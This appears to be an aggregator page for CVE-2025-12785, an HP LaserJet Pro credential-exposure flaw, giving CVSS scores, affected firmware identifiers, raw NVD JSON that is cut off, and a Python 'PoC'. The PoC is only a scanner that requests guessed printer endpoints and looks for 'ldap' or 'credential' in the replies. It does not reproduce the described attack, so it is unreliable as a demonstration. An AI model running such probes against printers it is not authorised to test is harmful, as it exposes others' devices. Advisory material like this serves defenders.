Security Vulnerability Report
中文
CVE-2025-12785 CVSS 7.5 HIGH

CVE-2025-12785

Published: 2025-11-13 18:15:50
Last Modified: 2026-02-13 16:34:37

Description

Certain HP LaserJet Pro printers may be vulnerable to information disclosure leading to credential exposure by altering the scan/send destination address and/or modifying the LDAP Server.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:hp:w1y47a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:w1y47a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw48a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw48a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw49a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw49a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw50a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw50a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:hp:7kw51a_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:hp:7kw51a:-:*:*:*:*:*:*:* - NOT VULNERABLE
HP LaserJet Pro (特定型号需查询HP官方支持页面)
受影响的固件版本需参考HP官方安全公告 ish_13229161-13229183-16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12785 PoC - HP LaserJet Pro Information Disclosure # This PoC demonstrates the information disclosure vulnerability # Use for authorized security testing only import requests import argparse def check_vulnerability(target_ip): """Check if HP LaserJet Pro is vulnerable""" base_url = f"http://{target_ip}" # Check for vulnerable endpoints vulnerable_paths = [ "/DevMgmt/ProductUsageDevTab.xml", "/scanner/scan_to_email", "/hp/device/LDAPConfig", "/scanner/scan_to_network" ] print(f"[*] Scanning {target_ip} for CVE-2025-12785...") for path in vulnerable_paths: try: response = requests.get(base_url + path, timeout=5) if response.status_code == 200: print(f"[+] Found accessible endpoint: {path}") # Check for sensitive information exposure if "ldap" in response.text.lower() or "credential" in response.text.lower(): print(f"[!] Potential credential exposure detected at {path}") except requests.exceptions.RequestException: pass print("[*] Note: Full exploitation requires modifying scan destination or LDAP config") print("[*] This is for educational purposes only") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-12785 Scanner") parser.add_argument("-t", "--target", required=True, help="Target printer IP") args = parser.parse_args() check_vulnerability(args.target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12785", "sourceIdentifier": "[email protected]", "published": "2025-11-13T18:15:49.960", "lastModified": "2026-02-13T16:34:37.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain HP LaserJet Pro printers may be vulnerable to information disclosure leading to credential exposure by altering the scan/send destination address and/or modifying the LDAP Server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:w1y47a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "6F5F1E5A-6B79-4CD0-97A5-76E72C7F96D6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:w1y47a:-:*:*:*:*:*:*:*", "matchCriteriaId": "5711F566-054F-424C-8EE2-960CC1099AAF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw48a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "50449E37-0A7D-4941-B1FD-498DFC33A941"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw48a:-:*:*:*:*:*:*:*", "matchCriteriaId": "49466652-DC9B-494D-A086-C7BAE74F832C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw49a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "65A43040-7E70-4A76-90F0-991E99FF6E47"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw49a:-:*:*:*:*:*:*:*", "matchCriteriaId": "650D3F3E-A788-4293-AF8E-5EB8D961736B"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw50a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "AC8D8855-E3CA-4B3A-A67C-EE060673F1C2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw50a:-:*:*:*:*:*:*:*", "matchCriteriaId": "C37FCB97-9C74-416A-8CE7-AC74ECEE29DD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:7kw51a_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "002.2539e", "matchCriteriaId": "ABEC5168-FD50-4132-A200-3688F4CAE16D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hp:7kw51a:-:*:*:*:*:*:*:*", "matchCriteriaId": "B62F33FA-EE8C-4F23-95E8-DF8FF23DCC79"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR" ... (truncated)